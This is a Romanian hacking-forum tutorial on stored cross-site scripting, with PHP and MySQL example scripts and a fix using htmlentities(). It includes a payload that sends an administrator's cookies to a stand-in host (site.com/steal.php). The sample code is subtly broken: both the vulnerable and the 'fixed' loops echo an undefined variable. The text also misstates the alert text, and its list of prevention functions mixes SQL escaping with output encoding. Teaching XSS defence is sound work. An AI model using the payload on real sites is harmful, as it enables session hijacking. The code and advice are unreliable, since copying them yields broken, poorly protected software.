Mesaje privateMesaje private   AutentificareAutentificare 

 
Cum sa ne protejam de XSS

 
Creaza un subiect nou   Raspunde la subiect    Pagina de start a forumului Crackers's Official Supporting Forum : ITutoriale Hacking
Subiectul anterior :: Subiectul urmator  
Autor Mesaj

GiovanY
Founder
Founder
GiovanY

Data inscrierii: 05/Sep/2008
Mesaje: 1979

MesajTrimis: 28/12/2008 21:05    Titlul subiectului: Cum sa ne protejam de XSS Raspunde cu citat (quote)

Cum sa te protejezi de XSS

Definitia XSS-ului
Un atac XSS (Cross-Site Scripting) reprezinta o vulnerabilitate a aplicatiilor web ce apare atunci cand astea afisaza date care nu sunt valide. Acesta consta in introducerea unui cod, pentru executia acestuia in respectivul site. De obicei, codul este scris in unul din urmatoarele limbaje: JavaScript, (X)HTML, VBScript, ActiveX, Java sau Flash (ar mai fi si altele).

Scopul XSS-ului
Scopul acestui tip de atac este de a fura cookie-urile unor anumiti utilizatori sau pentru a fura deosebite informatii utile despre utilizatori, necesare hackerilor. In general aceste atacuri ii vizeaza pe cei cu drepturi privilegiate ale aplicatiei web (administratori sau alt rang important).
In general atacurile implica doua lucruri (hackerul si site-ul), insa XSS-ul implica trei (hackerul, site-ul si utilizatorii site-ului).

Despre XSS
Atacurile de acest tip se folosesc de datele ce vin din exterior. Asadar formularele, e-mail-ul web, fisierele de tip XML sau RSS si bazele de date sunt cel mai des folosite de hackeri.
Pentru a intelege mai bine, va voi face o schema, dupa care actioneaza majoritatea hackerilor.

1. Hackerul intra pe site
2. Hackerul verifica daca vulnerabilitatea este prezenta
3. In cazul in care site-ul este vulnerabil, el introduce date care vor fi stocate in baza de date
4. Un utilizator intra pe o pagina a site-ului care se conecteaza la baza de date si afisaza datele stocate in aceasta (incluzand cele introduse de hacker)
5. Cookie-urile utilizatorului sunt trimise hackerului


Exemplu XSS
Va voi arata prin acest exemplu, cum un hacker poate fura un cont cu susținerea acestei vulnerabilitati.
Vom crea o noua baza de date (folosind phpMyAdmin) numita xss si tabelul users, cu doua campuri: user si pass.
Cod:

CREATE DATABASE xss;
USE xss;
CREATE TABLE users (id INT NOT NULL AUTO_INCREMENT,
                                user VARCHAR(20) NOT NULL,
                                pass VARCHAR(32) NOT NULL,
                                PRIMARY KEY(id));

Avem urmatorul script simplu de inregistrare:
Cod:


<html>
<head>
<title>Script inregistrare</title>
</head>
<body>
<?php
if(isset($_POST['submit'])) {
  $_POST['user'] = mysql_real_escape_string($_POST['user']);
  $_POST['pass'] = md5($_POST['pass']);
  @mysql_connect('localhost', 'root', '') or die('MySQL error.');
  @mysql_select_db('xss') or die('MySQL error.');
  $sql = "INSERT INTO users (user, pass) VALUES ('{$_POST['user']}', '{$_POST['pass']}')";
  $result = @mysql_query($sql) or die('MySQL error.');
  @mysql_close();
} else { ?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
  Username: <input type="text" name="user" />
  Password: <input type="password" name="pass" />
  <input type="submit" name="submit" value="Register" />
</form>
<?php } ?>
</body>
</html>

Acum, o parte din codul panoului de utilizare a site-ului, in care sunt afisati utilizatorii inregistrati:
Cod:

<html>
<head>
<title>Panou de administrare</title>
</head>
<body>
Utilizatori inregistrati:

<?php
@mysql_connect('localhost', 'root', '') or die('MySQL error.');
@mysql_select_db('xss') or die('MySQL error.');
$sql = "SELECT * FROM users";
$result = @mysql_query($sql) or die('MySQL error.');
while($result = mysql_fetch_array($result)) {
  echo $row['user'].'
';
} ?>
</body>
</html>


Acum sa vedem ce se intampla. Daca de exemplu, hackerul introduce in campul user urmatorul cod JavaScript:
Cod:
<script>alert("Ai luat MuMu De la R4ku!");</script>


Cand administratorul va intra pe pagina care afisaza utilizatorii inregistrati, va aparea o caseta JavaScript care va afisa 'Ti-am spart site-ul!' (fara ghilimele). Pana acum, nimic grav. In cazul in care hackerul introduce codul urmator:
Cod:
<script>document.location = 'http://www.site.com/steal.php?cookies=' + document.cookie;</script>

Cand administratorul va intra pe pagina care afisaza utilizatorii inregistrati, cookie-urile sale vor fi trimise catre 'http://www.site.com/steal.php' prin variabila
Cod:
$_GET['cookies']
. Hackerul poate folosi aceste cookie-uri si poate capata acces in panoul de administrare.
Pentru a preveni acest lucru, scriptul de afisare al utilizatorului va trebui sa arate asa:
Cod:

<html>
<head>
<title>Panou de administrare</title>
</head>
<body>
Utilizatori inregistrati:

<?php
@mysql_connect('localhost', 'root', '') or die('MySQL error.');
@mysql_select_db('xss') or die('MySQL error.');
$sql = "SELECT * FROM users";
$result = @mysql_query($sql) or die('MySQL error.');
while($result = mysql_fetch_array($result)) {
  echo htmlentities($row['user']).'
';
} ?>
</body>
</html>


Asadar, functia htmlentities() este folosita pentru a preveni introducerea sau injectarea a unui astfel de cod, ea ignorand tag-urile.

Prevenirea XSS-ului

Asadar cum putem preveni atacurile XSS? Cateva functii PHP care ne vor ajuta sunt:

1. htmlentities();
2. htmlspecialchars();
3. strip_tags();
4. mysql_escape_string();
5. mysql_real_escape_string();
6. addslashes();
Sus
Vezi profilul utilizatorului Trimite mesaj privat Trimite un mesaj

l0st
Membru junior
Membru junior


Data inscrierii: 28/Dec/2008
Mesaje: 56

MesajTrimis: 28/12/2008 21:20    Titlul subiectului: Raspunde cu citat (quote)

nice :x
_________________
Omul care nu are nimic de pierdut este cel mai greu de invins !!!
Cum sa ne protejam de XSS Cum sa ne protejam de XSS
Sus
Vezi profilul utilizatorului Trimite mesaj privat
Afiseaza mesajele pentru a le previzualiza:   
Creaza un subiect nou   Raspunde la subiect    Pagina de start a forumului Crackers's Official Supporting Forum : ITutoriale Hacking Ora este GMT + 2 ore
Pagina 1 din 1

 
Mergi direct la:  
Nu puteti crea un subiect nou in acest forum
Nu puteti raspunde in subiectele acestui forum
Nu puteti modifica mesajele proprii din acest forum
Nu puteti sterge mesajele proprii din acest forum
Nu puteti vota in chestionarele din acest forum